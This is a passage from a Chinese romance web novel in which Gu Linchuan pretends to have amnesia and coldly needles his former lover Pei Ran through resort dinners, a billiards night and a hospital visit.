车载歌单都是裴然一首一首加进去的,但很久没听了,一时间他有些想不起来歌单都有哪些音乐。
舒缓的前奏响起,略带低沉磁性的男声唱着:
Here is the lock here is the key
Open it set yourself free, free free free
Moving along singing a song
Fly like a bird liberate me me me me
Say goodbye to yesterday
裴然不回答,小声跟着哼唱,手臂搭在车框边,有一搭没一搭的打着节拍。
宋妍宜,叙事药业集团千金,家中独女,进入家族企业短短三年便已经展现出领袖格局,论颜值论家世论才华,她确与顾临川相配。
裴然下意识地在脑海中想象出两人并肩而立的画面,当真是一对璧人,思即至此,不免轻叹一声。
既然顾临川已经找到了自己的幸福,于情于理他都要亲手送上自己的祝福。
“没有。”裴然回答刚刚他的问题,朝他淡然一笑,揉了揉他脑袋,“我哪有那么容易生气,你没说错什么。”
顾辰松了一口气,眉眼舒展开,继续问:“那你去吗?”
“我会去的,你不用担心。”裴然声音很轻,很快便消散在风中。
悦湾是顾家名下产业,坐落在江岸线边,占据了深山半岛核心,各种设施一应俱全,备受南城富家子弟度假的青睐。
众人到了之后,专属管家便上前将众人带到房间置放行李。
裴然和顾辰是最后到的,下车时正巧撞见打算去骑马的几位实习生。
几位实习生打打闹闹着走来,看见裴然的那一刻表情有些停滞,随后推推搡搡间,几人瞬间收敛了动作,朝他打招呼:“然哥!”
裴然看在眼里,无奈一笑:“既然来度假,就敞开了玩,不用顾虑什么,也不用把我当上司。”
几人点头如捣蒜,显然没听进去,离开的背影依旧拘束,直到消失在拐角,打闹声才再次传来。
顾辰看在眼里,忍俊不禁,掰着裴然的肩,煞有介事地打量:“不对呀,这也不是阎王爷啊。”
裴然面无表情,吐出舌头,冲他做了一个鬼脸:“略。”
顾不得身后人片刻怔愣后,捧腹爆发出大笑,裴然先拿着房卡,回了自己的房间。
身后顾辰赶紧跑上去,跟在他身后,依旧笑个不停。
关
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上房门,耳边终于清净,裴然把行李摆好,走到洗手间照镜子。
“有这么可怕吗?”裴然捏了捏自己的脸,露出一个温和迷人的笑。
手机铃声从床上传来,裴然便收起笑容,洗了一下手后离开。
裴然接起电话,电话那边七嘴八舌的叫起来。
庭婷笑了笑,让他们喊,喊完这才走到角落安静处,“收拾好了吗?我们都在这边打高尔夫,他们说想和你一较高下呢。”
裴然勾唇,漫不经心道:“先打败你吧。”
英国留学那几年,每一年庭婷都会和裴然单挑,不止高尔夫球,羽毛球网球甚至篮球,无一例外的失败。
庭婷隔空锤了他一拳,“那我让他们先来挑战我。”
裴然挂了电话,把房间收拾好,外面隐约有出太阳的征兆,阳光穿透深厚的云层缝隙,均匀地撒下。
“哗啦——”裴然一把将窗帘拉上,遮光效果绝佳,房间内瞬间变得昏暗。
裴然只留了床头一盏小夜灯,躺在床上,拿过被子把自己整个盖住。
雨雾散去,迎来了久违的大太阳,明媚的阳光洒在还带着水珠的草地,偶尔有小孩子调皮跑过,还溅起几星水滴。
草地中间是一条不规则石子小路,贯穿整个草地,从悦湾入口直通地下酒吧。
走在最前面的男人,姿态慵懒,被太阳晒的有些睁不开眼,索性半虚着。
刚下过雪的南城纵然出了太阳,温度还是很低,他却只穿着一件白色大衣,内里是一件黑色高领毛衣,随意搭了一条项链,在阳光下闪着光。
他抬手,推了推鼻梁上的金丝眼镜,俨然一副斯文败类的形象,一路上引得不少路人侧目。
男人身后还跟着两人,皆是老实裹着厚重的羽绒服,其中一人更怕冷,带上了围巾和手套。
“哟?白月光回国后咱顾总就是不一样啊,看看这春风得意的模样。”围着围巾的男人小跑两步,和顾临川并肩,笑着揶揄。
顾临川没空理他,只淡淡睨他一眼,稍弯腰,穿过花里胡哨的酒吧大厅,走进他们的专属包间。
酒吧里暖气充足,戚贺昀急吼吼地脱了外套,甩开围巾和手套,往沙发上大马金刀一坐,发出一声惬意的喟叹。
“南城今年怎么这么冷?”戚贺昀不满地吐槽,“羽绒服衬得小爷真臃肿!”
顾临川端起威士忌,轻抿一口,把桌子上那杯往前推,“迟到了,酒在那边,自己喝。”
戚贺昀也不墨迹,一口闷掉,随后从善如流地转头朝枚烨告状:“啧啧啧,妹妹!你看他!”
妹妹是指枚烨,小时候他不认识这个字,只知道发音是mei,于是便喊他妹妹,一直喊到大。
听到戚贺昀又这样叫自己,无奈地看了他一眼,抓过一旁的围巾给他套上。
“行了,他正烦着呢,你别招惹他,酒都是你爱喝的,别得了便宜还卖乖。”
“他烦?烦什么?白月光在国外谈恋爱了?”戚贺昀把围巾扯下来,难得不跟他闹,好奇地问。
枚烨捂他嘴,“少说两句。”
戚贺昀看了看枚烨,又转头看了看顾临川,眯起眼睛,感到狐疑,随机一拍脑门,恍然大悟。
这俩人有秘密瞒着自己!
他看向枚烨,枚烨移开视线。
戚贺昀撇了撇嘴,“真没意思。”
顾临川一身黑,衬得周身气质凌冽,似是有些疲惫,揉了揉眉峰。
闻言,眸色晦暗:“等会儿就有意思了。”
5. 第 5 章
这一觉睡的昏天黑地,迷迷糊糊间睁眼,裴然看见床头坐了一个人影。
那人端坐着,手里随意地翻看着房间内自带的时尚杂志,抬起手腕看了眼时间,这才放下杂志,俯身弯腰轻声唤他。
“然哥?该起来了,再睡下去,晚上又要失眠了。”
午觉睡得又深又沉,乍然被喊醒,裴然难得有几分起床气,板着脸不讲话,直愣愣地坐起来,几缕发丝睡得翘起。
顾辰见状,只把窗帘拉开一角,怕晃到他眼睛。
“几点了?”裴然还有点懵,视线始终跟随,半晌缓过来,嗓音干涩有些沙哑:“你怎么进来的?”
“已经快七点了,方才我在外面敲门始终没人应,打电话也不接,我实在担心,找了前台要了你的备用房卡。”顾辰端过一杯温水,递到他手边,“见你睡得沉,就没立刻叫醒你。”
裴然小口小口喝下温水,嗓子舒服了不少,整个人也清醒了,随手抓了抓头发,拿过手机一看,果然有十几个未接来电和消息。
“抱歉,睡太死了,没听见。”裴然抓紧时间,回复了几条工作短信,随后放下手机,拿起衣服进了浴室。
浴室里水声渐小,裴然收拾完毕,顾辰带着他一起去餐厅吃饭。
刚走到餐厅门口,服务员将两人拦住:“抱歉二位先生,餐厅今日被人包了下来,暂时不对外开放。”
顾辰有些泄气,这家餐厅有裴然最喜欢的马卡龙,本打算吃完后给他打包一些的,没想到被人包了下来。
“然哥……”顾辰颇为懊恼地看着他,“是我没有计划好,你还有想吃的吗?”
裴然拍了拍他手背,“换一家店就好了。”
顾辰低落情绪又回升,扬起一抹笑,拉着裴然打算离开。
这时,餐厅里一位服务生小跑上前,微微一笑,出声挽留:“老板说,请二位一同用餐。”
裴然和顾辰都有些懵,左右看了一下,只有他们二人,但还是出声确认:“我们?”
服务员微笑着点头:“是的。”
裴然摆手,打算拒绝,一道熟悉的声音先人影传来。
“裴裴!”戚贺昀朝他们走来,眼神看见裴然就亮晶晶,转眼看见身旁的顾辰又暗下来,不咸不淡地招呼一声,“你也在啊。”
裴然乍然看见他,有些惊喜:“小贺,你怎么也在这?这餐厅是你包的?”
“对啊。”戚贺昀亲昵地揽着他的肩,阔步往里面走,丝毫不管身后的顾辰,“都怪妹妹和咕咕,说什么嫌太吵了,可是人多才热闹呀……”
落地观景窗将窗外景色一览无余,天花板垂落的吊灯与大理石地面交叠出粼粼光影,暖金色的灯调带着零星的烟火气。
顾临川和枚烨面对面坐着,桌上是琳琅满目的精致餐点。
但显然,两人兴致不高,几乎没怎么动。
顾临川向后靠在座椅上,低着头看手机,手指在桌子上有意无意地打着节拍。
枚烨将戚贺昀方才丢给他的一块鹅肝吃下,慢条斯理地擦了擦嘴巴,“当司机的初体验,如何?”
“还不错,人很呆。”顾临川从手机中抬起头,一挑眉,勾着唇却没有笑意,“走了那么久,半点没有学聪明。”
枚烨耸了耸肩,端起酒杯碰了碰他的,也不管他,自顾自的闷掉,打趣道:“你不是一向觉得所有人都很蠢?”
“的确是的。”顾临川回他。
枚烨轻笑一声,“今天戚贺昀说错话了,你不要和他计较,你们分开那几年,他也不在国内,并不知情。”
顾临川颇为疑惑,但还是心平气和地阐述事实:“要是想计较,我早就气死了。”
枚烨不置可否,但还是替戚贺昀找补:“童言无忌。”
顾临川又低头看手机,闻言,头也不抬,嗤笑一声:“25岁的儿童。”
身后传来戚贺昀叽叽喳喳的声音,裴然站在他旁边,微笑着看他,时不时回应几句。
“你们看!我把谁带来了?”戚贺昀站在裴然身后,双手搭在他肩上,从他身后探出头,嬉笑着问。
枚烨眼底闪过一丝惊措,下意识看向顾临川,他坦然不动,仍旧低着头玩手机,一个眼神也不分给他们。
枚烨站起身,同裴然打招呼:“好久不见。”
裴然淡淡一笑:“好久不见。”
顾辰在后面,见没人搭理自己,硬着头皮站出来喊人:“哥,烨哥。”
顾临川这才抬起头,视线略过裴然,直直看向顾辰,微微颔首,表示自己听到了。
戚贺昀小声在裴然耳朵边吐槽:“他就这样,没礼貌,你不用理他。”
说着,走到餐桌边,替他拉开椅子,位置在他对面,顾临川的身侧。
顾临川目不斜视,冷不丁问起:“我让你去取的玛罗尼呢?”
“哎呀,我给忘记了。”戚贺昀这才想起来,自己正是应了顾临川的请求穿越大堂去取酒,才在路上撞见。
顾临川似乎也并不在意,并未再让人去拿,低头继续玩手机。
倒是戚贺昀,赶紧招来侍应生,让他替自己去取一下,说完勾着顾临川脖子,亲亲热热地道歉:“不好意思嘛咕咕。”
顾临川熟练躲开,戚贺昀浑不在意。
“咱都认识,就不用拘束啦,开吃开吃!”戚贺昀举起餐刀,兴奋的喊道。
“这谁?我不认识。”顾临川冷不丁开口。
戚贺昀:“?”
枚烨:“……”
“开什么玩笑,这是裴裴呀?”
戚贺昀一脸你别闹的表情。
顾临川语气随意,“失忆了,不记得。”
戚贺昀:“?”
枚烨:“……”
顾临川死死盯着裴然,黑眸深邃,像一汪深潭,如墨色般的湖水漾开涟漪,仿佛要将人吸进去。
沉默在几人之间蔓延,戚贺昀再迟钝也反应过来了,眼神偷偷在两人之间逡巡。
随后偷偷朝枚烨求救,枚烨无奈摇头,拎着他衣领往后拽,示意他安分点。
裴然很隐晦地轻叹一声,上前一步,自我介绍:“你好,顾先生。我是裴然,是贺昀的好朋友,打扰你们用餐了,不好意思,我们这就离开。”说着就带着顾辰要走。
“留步。”顾临川终于放下手机,从椅子上站起来,走到裴然身前站定,“既然是朋友,那便不算打扰。”
顾临川身影高大,投下的阴影几乎将裴然吞没,夜风徐徐吹来,携着顾临川身上幽幽的橘香,将裴然包裹。
裴然心口一酸,几不可闻地皱眉,笑着摇头,仍旧打算婉拒。
顾临川又看向自己弟弟,“留下,吃饭。”
顾辰如芒在背,顿感惶恐,抬眼去看裴然,征求他的意见。
裴然不愿顾辰为难,只好留下,看着顾辰欲哭无泪的表情,安抚似的朝他笑笑。
顾临川很绅士地重新为裴然拉开椅子,让人为裴然递上菜单:“裴先生喜欢吃什么就点,不用拘束。”
“谢谢。”裴然点好后,将菜单交给服务员,对身旁的顾临川礼貌一笑,“那我就不客气了。”
正菜上的比较慢,服务员先上了一份焗蜗牛和酥皮浓汤,蘑菇与奶油香气涌起,一口下去喉咙都是暖的。
等菜间隙,戚贺昀天南海北的聊着,裴然句句回应,枚烨的任务被抢走,只好在一旁为他拆蟹。
“顾先生为什么会失忆?是受伤了吗?”裴然状似不经意地提起。
“啊?”戚贺昀没第一时间反应过来,见裴然下意识看了看身侧之人,才明白,“噢,对!六月初,他去马来西亚赛车
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,一头撞树上,把脑袋撞坏了。”
顾临川瞥了他一眼,无言。
裴然吃饭的手一顿,强忍住侧过头查看身旁之人伤势的冲动,出声安慰:“幸好顾先生年轻,恢复的很快。”
末了,像是仍旧不放心:“追求刺激固然可以,但是还是要注意一下安全,尤其是伤势没好之前。”
闻言,戚贺昀饭也不吃了,转身把脸埋进枚烨颈窝处,笑的发抖,难得他逗别人还能成功。
裴然和顾辰两人刚从国外回来,自然听不出两人的弦外之音,见戚贺昀笑得这么开心,也只是跟着笑。
小插曲过后,几人酒足饭饱,席间聊起小时候的趣事,戚贺昀挂在枚烨身上,笑的前仰后合。
顾辰自觉多余,便不凑这个热闹,同大家微笑告别,并叮嘱裴然若是太晚了,一定要给他打电话,让他来接。
戚贺昀撇嘴,有些不满,催促他赶紧离开:“我会把裴裴安全送回去的,不用你一个小孩子操心。”
顾辰抿唇,似乎还想说什么,但最终却什么也没说,转身离开了。
戚贺昀嘟囔着这人真是讨厌,扯着裴然继续讲顾临川小时候的糗事。
刚好讲起,当年四人一同上马术课,顾临川那匹马被有心之人动了手脚,饲料里加了兴奋剂。
上课途中,老师正教学着,顾临川的马儿却突然不听使唤,满场疯跑,顾临川反应敏捷,迅速拽紧了绳子,却还是无济于事,最终狠狠坠马。
“当时谁都不敢进去,只有裴裴跌跌撞撞地冲进去,一把把你背在背上,拖了出来。”戚贺昀冲一边的顾临川挤眉弄眼。
看看!人家从小就对你这么好!
虽然他不知道顾临川今日为什么要装作不认识裴然,还要撒谎说自己失忆了,但是他明白一件事,那就是顾临川还喜欢着裴然,助力一下兄弟的感情,他在所不辞。
只可惜他的好兄弟并不领情。
“还有这事?”顾临川抬了抬眼皮,满不在乎,一副无所谓的样子,“没印象了。”
戚贺昀急得恨不得踹他两脚,怼他:“你不是失忆了吗?记得才有鬼了。”
裴然摆摆手:“不记得也没关系,只是一件小事而已。”
“哪里是一件小事!你明明就救了他的命!”戚贺昀差点从座位上跳起来,结果被枚烨一把按住。
“太夸张啦。”裴然被他义愤填膺的模样逗乐,笑得弯了眼。
侍应生把甜品端了上来,是裴然最爱的马卡龙。
侍应生端着盘子往顾临川的方向走,顾临川眼神示意,侍应生了然,脚下步履一顿,将打包好的盒子递给裴然。
裴然接过马卡龙,很惊喜地看向顾临川,却发现他并未看自己,于是赶紧移开视线,暗骂自己自作多情。
最后难为情地同大家告别,转身离开。
顾临川冷漠地站在原地,眼神始终停留在裴然的背影上,浑身阴恻恻地,不知道在想些什么。
眼神里波涛汹涌像草原上饿久了的狮子看见可口的猎物一样。
蛰伏,缓慢靠近,突袭。
将毫无防备的猎物按在身下,锋利的牙口紧紧咬住猎物脆弱的脖颈,感受到怀中的猎物剧烈的挣扎,一瞬间,浑身的血液都会被刺激的滚烫。
直到猎物不再挣扎,他再一点一点,拆吃入腹。
他仗着自己在身后,眼神里的情绪肆无忌惮地显露出来,没有半分收敛,凶狠又缠绵。
灯光打在裴然的侧脸,偏冷的色调衬得裴然的脖颈更显出几分瓷白,顾临川眯起眼睛打量,喉结不可抑制的上下滚动一下。
前面裴然接起电话,不知道对面又说了什么,裴然低语几句,眉目舒展,脚下步履生风。
笑得真扎眼啊,顾临川心里想着,视线却也没移开半分。
6. 第 6 章
在悦湾的第二日,裴然一早就收到戚贺昀的邀请,夜晚与他们三人一起打台球。
裴然本想拒绝,但奈何戚贺昀撒娇卖萌,缠着裴然一定要答应。
裴然抵不过他,只好答应下来。
南城圈子里,他们三人玩得最是讲究,凡事都要占一个“专属”二字,游艇私人飞机是专属,连城郊那片高尔夫球的早场时段,也被顾临川包成了私人领地。
这间台球厅是早年戚贺昀买下的,作为生日礼物送给了枚烨,不过他严明规定,枚烨不许偷偷来,玩的时候必须带上他。
戚贺昀同裴然口若悬河地讲这间台球厅设计上的小巧思,推开门,他第一个闪身进去。
室内没装主灯,只靠悬在两张顶配星牌台球桌上方的定制暖光射灯照亮,光线刚好漫过墨绿色的台呢,球杆架里清一色是从英国手工定制的台球杆,有三根上面刻着他们的名字缩写,木纹流畅得近乎完美。
戚贺昀抽出自己专属的那只台球杆,右手握住,膝盖微弯,身体重心压低,上半身前倾弯腰,手臂一发力,砰的一声闷响,白球撞进球堆,彩球四散开来,一颗单色球擦着边袋滚进去,响声清脆利落。
“怎么样?”戚贺昀得意洋洋,“谁想来挑战一下?”
顾临川转身抽出自己的球杆,示意他开球有进继续打,接下他的挑战书。
开场两人势均力敌,难分胜负,枚烨看得无聊,溜到阳台抽烟,身后跟着个小尾巴裴然。
枚烨站在阳台上,指尖夹着一根烟,顾及着裴然,没点燃,时不时放进嘴里咬着。
裴然伸手,向他讨要,“还有么?”
“给。”枚烨颇为意外,眉尾轻挑,顺手把打火机递给他,“现在还真是烟酒都来的啊。”
裴然夹烟的手一顿,轻笑:“只是放松一下。”
枚烨调笑:“国外学业压力很大吧?”
裴然认真地回想了一下,半真半假的开玩笑:“是的,每次教授的消息发来,我都害怕。”
枚烨哈哈笑起来,顺势观察裴然。
裴然点烟的姿态很熟练,薄唇轻轻抿住烟头,猩红的火光乍亮,随后熄灭,一阵缥缈的白烟从唇齿间溢散,矜贵又恣意。
枚烨叼着烟凑上去,借了他的火,半晌无言。
阳台风大,一支烟没吸多少便见了底,枚烨吐出最后一口,侧目看他,“回国后,还走吗?”
裴然把烟夹在指尖,闻言笑了:“怎么?舍不得我走?”
“我有什么舍不得的。”枚烨口是心非,余光瞥向房间内某人,忍不住替他说话,“说走就走,你是真的狠心啊。”
“他不是失忆了么?”裴然骤然被烟呛住,猛地咳起来,低低的嗓音带了几分沙哑,“把我忘了,挺好的。”
枚烨欲言又止,最终化作一丝叹息。
枚烨在外面没待太久,戚贺昀又在里面闹着喊他,枚烨冲他一笑,离开了阳台。
裴然第二支烟没抽多少,依旧是风抽一半他抽一半,阳台没开灯,唯一的光源是角落里一棵小的橘子树,上面挂着小彩灯,晃得人眼睛难受。
裴然闭上眼睛,仰头背靠着栏杆,仰头感受夜风吹在脸上,长腿交叠,无端生出几分孤寂。
像一只随时会坠落下去的受伤的雏鸟。
顾临川打球时没费太多心思,被戚贺昀指责放水,不尊重比赛。
“砰!”一杆下去,两球进洞,顾临川视线又不受控制地看向阳台的裴然,眉心皱起,内心又腾起一股不耐的烦躁之感。
这人怎么总是这么破碎?顾临川感到不满,明明他铁石心肠不讲情义,却偏偏总在他面前表现仿佛被全世界抛弃,受了天大的委屈一般可怜。
鬼使神差地,他把球杆递给枚烨,示意他帮自己打完,他则是端着酒杯,站在裴然身后。
裴然很快便发现来人,收拾好情绪和表情,“顾先生,刚刚那一球打的很漂亮。”
裴然指的是顾临川打的那颗弧线球,白球以一道绝对完美的弧线绕过障碍,精准撞中目标球。
顾临川上前一步,站在他身侧,“站在这里,可以吗?”
“当然。”裴然微笑答应,心里却想着,你不是已经站了?
顾临川这站位有点讲究,算不得亲昵,只是举手投足间时不时会蹭到彼此。
却比方才枚烨站得近,强势入侵了他的私人领域。
裴然只好不动声色地向旁边挪动,顾临川步步紧逼,最终两人紧紧靠在圣诞树旁,再没有空间可退。
裴然又闻到了柑橘调的香味,熏得他头晕,指尖又不受控制地开始发颤,裴然只好把手腕靠在栏杆上,不至于太明显。
“我还以为裴先生和旧友叙旧,不会太关注球局。”顾临川说话巧妙漂亮,丝毫听不出其中的酸味,“待会儿让戚贺昀下来,你上去打两颗?”
“不必了。”裴然摆摆手,“有段时间没打了,手生。”
“让枚烨做陪练,打几颗球就上手了。”顾临川似笑非笑,“顺便还可以熟络一下好友之间的感情。”
裴然一脸疑惑,“我与枚烨并不生疏,不用维系感情。”
“话说回来,我们四人一起长大,我失忆了忘记了一些人一些事,对你不熟悉很正常。”顾临川嘴角噙着笑,眼底却是不见笑意,眼神冰冷没有一丝温度,“你怎么也只记得他们,不记得我了。”
“我们从前关系不算好。”裴然强扯出一抹笑,眼神不自然,“就不凑上前,惹你不快了。”
“这样看来,似乎你做了什么对不起我的事情?”顾临川微眯着眼,步步紧逼。
“有吗?”裴然彻底笑不出来了,强忍住眼底的酸涩,轻声地问,“不算吧?”
顾临川不解,怎么又是这样一副可怜模样,明明他还什么都没有做。
“有吧?”顾临川也反问,看着他单薄的身影,变本加厉,“不然,我怎么会这么讨厌你,一看到你就觉得很讨厌。”
“很讨厌吗?”裴然低低地重复,像是要把这句话刻进骨子里。
“也许吧。”顾临川毫不留情,继续说着模棱两可的话,虚情假意地提建议,“不过裴先生可以多出现几次,我看得多了,就脱敏了。”
裴然吸了吸鼻子,往后退了一步,语气认真:“顾先生放心,我会和你保持距离的。”
顾临川:“……”
外面风大,裴然和顾临川无言并肩站了一会儿,眨了眨干涩的眼,同顾临川讲:“外面风大,顾先生要进去吗?”
顾临川脸很臭,说出来的话也不留情面:“你很烦
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,知道吗?”
裴然身子一僵,抿了抿唇,无声离开了。
片刻后,隔着阳台门,传来戚贺昀大惊小怪的叫声:“裴裴,你脸色怎么这么难看?是不是感冒了?我都说了让你们不要去阳台,一个二个都往那里一站,装酷耍帅,一下来脸色比鬼都白。”
戚贺昀早就不满没人陪他打台球,围着裴然转,又端来热红酒为他暖身子,嘴里叽里咕噜地不停。
片刻后,顾临川也从阳台走下来,浑身萦绕着低气压,寒气逼人,面色不虞,像是地狱来的修罗。
“咕咕怎么了?”戚贺昀端着红酒脚步一顿,往后退了几步,撞了撞枚烨的肩,小声地问。
枚烨叹了口气,只答:“不知道。”
四人没待多久,裴然便起身告辞,戚贺昀把顾临川拉到身前,让他送裴然回去,在角落冲顾临川挤眉弄眼的。
裴然摆摆手,温声拒绝:“不用麻烦了。”
“跟上。”顾临川只冷冷丢下这句话,径直离开。
戚贺昀推了推他,让他快跟上去。
裴然见状,只好快步走上前,落后他几步,像个小尾巴似的跟在后面。
“唔。”
顾临川突然停住,裴然没看路,一头撞在他宽阔坚硬的肩上,鼻头一酸,裴然伸手揉了揉。
顾临川转过身,问他:“不看路?”
裴然和他对视,愣了一瞬,回过神来:“抱歉,我走太快了。”
“急什么?”顾临川盯着他看了几秒,移开视线,继续往前走。
这次速度稍缓,不自觉裴然已经和他并肩。
裴然没回答,在心里悄悄说,不急,他恨不得这段路能再长一点,两个人能慢慢走,多呆一会儿。
一路走到酒店楼下,裴然同他告别:“再见,顾先生。”
顾临川没说话,突然朝他伸出手,“我的钱夹。”
裴然反应过来,想起来在酒吧偶遇,他还以为顾临川对自己毫无印象,没想到他还记得。
裴然解释:“我把钱夹给顾辰了,打算托他交给你。”
顾临川很不解,指了指自己,“我就在你面前,你为什么要托别人帮忙?”
“那我现在上去找顾辰拿?”裴然一头雾水,搞不清他的意思。
“不用了。”顾临川朝他摊开手,“手机给我。”
裴然乖乖给他。
顾临川把自己的电话号码输入进去,偷偷看了一眼,确认没有被加入黑名单,松了一口气,把手机还给他。
“下次亲自给我,来之前联系这个电话。”顾临川说的理直气壮,却又叫人讨厌不起来,“之前你不是做了对不起我的事情吗?总要弥补一下吧?”
裴然捧着手机,看着熟悉的号码,有些微微出神,顾临川的声音在耳边响起,裴然才回过神。
顾临川以为他不愿意,语气明显有些烦躁:“不行吗?”
裴然赶紧摆摆手,带了点哄人的意味,对他说:“当然可以,我找个时间给你送过来。”
末了又补充一句:“会很快。”
顾临川又恢复了初见的高傲模样,下巴微抬,不再看他。
裴然离开前,对他说:“那下次见。”
下次见,顾临川在心里小声地回复。
7. 第 7 章
顾临川回去等了两天,电话没有,短信没有,就连一条好友申请都没有。
接连几天,顾临川都冷着脸,浑身散发出不愉快的氛围,上来送资料的小姑娘都怵他,平时还期期艾艾地偷看几眼,现在放下文件就赶紧退出去。
宋妍宜上来找他时,正巧撞见小姑娘在办公室门口打了个冷颤,长长的呼出一口气,拍了拍胸脯往电梯走。
宋妍宜觉得稀奇,靠在门上敲了敲,“怎么把小姑娘吓跑了?”
顾临川眼皮微掀,看清来人,懒懒地回道:“她们一直挺怕我。”
“今天更怕。”宋妍宜上下一打量,面露肯定,给出自己的评价,“冷面阎罗。”
顾临川不置可否,他再等不到消息,可能比阎罗还可怕。
“今天来找你,是想让你陪我出席一趟晚宴,若是顺利的话,很快就能完成合作了。”宋妍宜把资料调出来,给他展示。
顾临川翻了翻,计划很周密,他只需作为吉祥物去走一遭,让那些墙头草倒戈到宋妍宜这边即可。
顾临川点头答应,同时疑惑,“不是说温水煮青蛙?怎么突然这么急?”
宋妍宜瞧了他一眼,半开玩笑半认真地说:“不能耽误顾总追妻不是,早点解决,好早日让小裴有名分。”
当初顾辰回家吃家宴,正巧撞见宋妍宜与顾临川,宋妍宜跟在顾临川身边多年,对他的心意了然于心。
于是在顾辰同他打招呼时,主动问起裴然的消息。
果然感觉到身侧之人僵了一瞬,随即又是一副事不关己的冷淡样。
宋妍宜温柔婉约,挽着顾临川的手,对顾辰说:“许久没见了,我和临川寻个时间,你把小然带上,咱聚一下。”
顾辰自然应允,答应一定按时到场。
两人挽着手在拐角自然散开,顾临川语气平静:“你又自作主张。”
宋妍宜对他的口是心非进行严肃批评:“不要一边在心里暗爽,一边装作毫不在意的模样!”
“他怎么样,和我又没有关系。”
顾临川嘴硬,不肯承认。
宋妍宜优雅端庄地翻了个白眼,不欲与他争辩。
“折日不如撞日,不如就今天?”宋妍宜一锤定音,抓着手机就给顾辰发信息。
顾临川打断她,没跟她贫嘴:“宋老爷子快不行了?”
“你听谁说的?”宋妍宜一顿,问他。
顾临川看她反应就知道自己猜对了,见她神色不对,出声提醒:“我能看出来的事情,旁人不见得会被唬住,你万事小心。”
末了,顾临川黑着一张脸,辩驳一句:“还有,我没追他。”
临近圣诞,南城大街小巷已经染上圣诞氛围,圣诞树上挂着灯和礼物,久违的圣诞老人也出来巡游。
裴然还在工作室忙碌,铺满了面料卡和手稿的工作台上摆着一个精致装扮过的苹果,是工作室内员工的女朋友送来的,给大家都发了,说是提前给大家过平安夜。
顾辰的电话打来时,裴然正打算把苹果洗洗吃掉。
听到这个消息的时候,裴然手里剪裁的动作一歪,锋利的刀尖瞬间刺破手指,血珠滚滚地冒出来。
裴然反应迅速,没让血迹弄脏布料,叹了口气,认命地开始清理,简单处理一下,就拿纱布包扎上了。
出发前,他思来想去,还是去商城买了一对情侣腕表。
腕表以宇宙星轨为主题,将宇宙中星与月的引力羁绊,映射为情侣间彼此契合的感情。表盘时针采用的是双时区显示,若是相离太远,也能看见对方的时间。
还亲手写下贺卡,祝他们情比金坚,百年好合。
手指被划伤,写字的时候,裴然感觉格外疼。
他与顾辰前后脚到,他停车花了点时间,进包间门时,三人都已在座位上。
顾辰像看见救星,赶紧迎上去,熟络地为他拉开椅子,让他坐在自己身侧。
裴然与宋妍宜也许久未见,把礼物亲手递给她,真诚夸赞:“妍宜今天真美。”
宋妍宜被夸的心花怒放,捂着嘴笑,“只是约你出来见见,怎么还带了礼物……”
礼物拆开的一瞬间,宋妍宜就说不出话了,余光拐了个弯,没敢正大光明地转头,小心地观察着顾临川的反应。
顾临川脸色很难看,但也没好看过,所以裴然也没察觉出氛围不对劲。
看来是没机会戴上了,宋妍宜在内心默默为这份礼物哀悼。
宋妍宜小心翼翼地捧起腕表,却没有带上,“我很喜欢,谢谢小然。”
裴然松了一口气,笑着说:“你们喜欢就好。”
顾临川没拿腕表,手里捏着那张贺卡,手上青筋暴起,冷哼一声:“我可没说我喜欢。”
裴然落座的动作一顿,有些茫然地看向顾临川,不明白他为什么突然闹脾气。
顾临川连一个眼神都懒得施舍,将贺卡轻飘飘地一扔,落到地上。
顾辰缩着脖子当鹌鹑,连呼吸都小心翼翼。
宋妍宜尴尬一笑,在心底怒骂顾临川,疯狂地寻找话题,打破这难堪的氛围。
没等宋妍宜找到合适的话题,顾临川先一步开了口,他紧盯着裴然的手,问他:“手怎么了?”
“啊?”裴然下意识把手往身后藏,“没事,不小心划到了。”
裴然没花太多时间处理伤口,伤口不算太深,但很长,溢出来的血液斑斑点点地透过纱布,显得很唬人。
宋妍宜也注意到了,大脑飞速运行,准确判断出顾临川隐藏含义,于是赶紧问:“去医院处理了吗?”
裴然不想耽误大家时间,晃了晃手心说:“已经处理好了,不用担心。”
“那可不行,还是去医院处理一下比较放心,吃饭我们可以下次再约。”宋妍宜关切地说,“方便开车吗?让临川送你去吧。”
裴然看了一眼顾临川,见他仍是一副皱着眉苦大仇深的模样,根本不敢答应:“不用了,我自己开车去。”
顾辰小声地说:“我送然哥去吧。”
宋妍宜微微一笑,“小辰刚刚不是喝酒了吗?不能酒驾哦。”
“我没喝啊……”顾辰茫然。
旋即被宋妍宜一把打断,“就这么定了,手伤要紧。”
顾临川站起来,长腿一迈,已经走到门口,没有要等裴然的意思。
裴然只好硬着头皮,小跑两步跟上。
两人身后,宋妍宜深藏功与名,神秘莫测地拍了拍顾辰地肩膀,感慨:“你哥结婚,到时候我真得做主桌。”
顾辰埋头喝茶,一头雾水,我哥结婚你不是新娘吗?顾辰满腹疑虑,但是一句也没问出口,只是乖乖坐着。
顾临川没开车来,于是两人坐上了裴然的奔驰,裴然很庆幸自己开车过来的,不然两人就只能喊司机过来,失去了独处的机会。
一路上,两人都沉默着,裴然几次想开口,余光瞥见顾临川压低的眉眼,就泄了力。
“年底了,
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裴先生工作室很忙?”红绿灯时,顾临川单手搭在方向盘上,姿态懒散,开口问他。
“不算忙。”裴然想了想,认真地说,“工作室刚迁回国,事情比较琐碎,但算不上忙碌。”
话音刚落,顾临川气压更低了,裴然一脸茫然,如坐针毡,完全不知道自己哪句话说错了。
莫非是分手之后,顾临川太恨他,以至于就算失忆了,也见不得他过得好?
于是裴然又补充一句:“其实一点也不忙。”
“哦,那你还真是够讨厌的。”顾临川冷冷地吐出这句话。
裴然搞不懂,他三十六摄氏度的嘴里怎么会说出这么冰冷的话,寒气冻得他心脏都发疼,他也赌气,转过身不再跟他解释了。
很快到了医院楼下,顾临川冷着一张脸说自己在楼下等他,让裴然自己去。
裴然当然不敢奢望顾临川陪他,拉开车门独自进了医院。
裴然刚挂好号,便有护士找到他,把他带到指定的就诊室门口。
裴然同护士小姐道了谢,在内心感慨医院的办事效率和服务态度。
主治医生看起来很年轻,三十岁左右,剪了个寸头,看起来干脆利落。
见有人进来,他眼眸微掀,和电脑上的挂号信息做对比,问他:“裴然?”
裴然点点头,“是我。”
“把伤口给我看看。”医生朝他伸出手。
裴然把手递过去,医生查看了一番,确定伤势后便开始为他消毒包扎。
“伤的不深,不用缝针,但平时还是注意一下,没结痂之前不要太用力,伤口不沾水,尽量少吃点辛辣食物,行了,出去吧。”
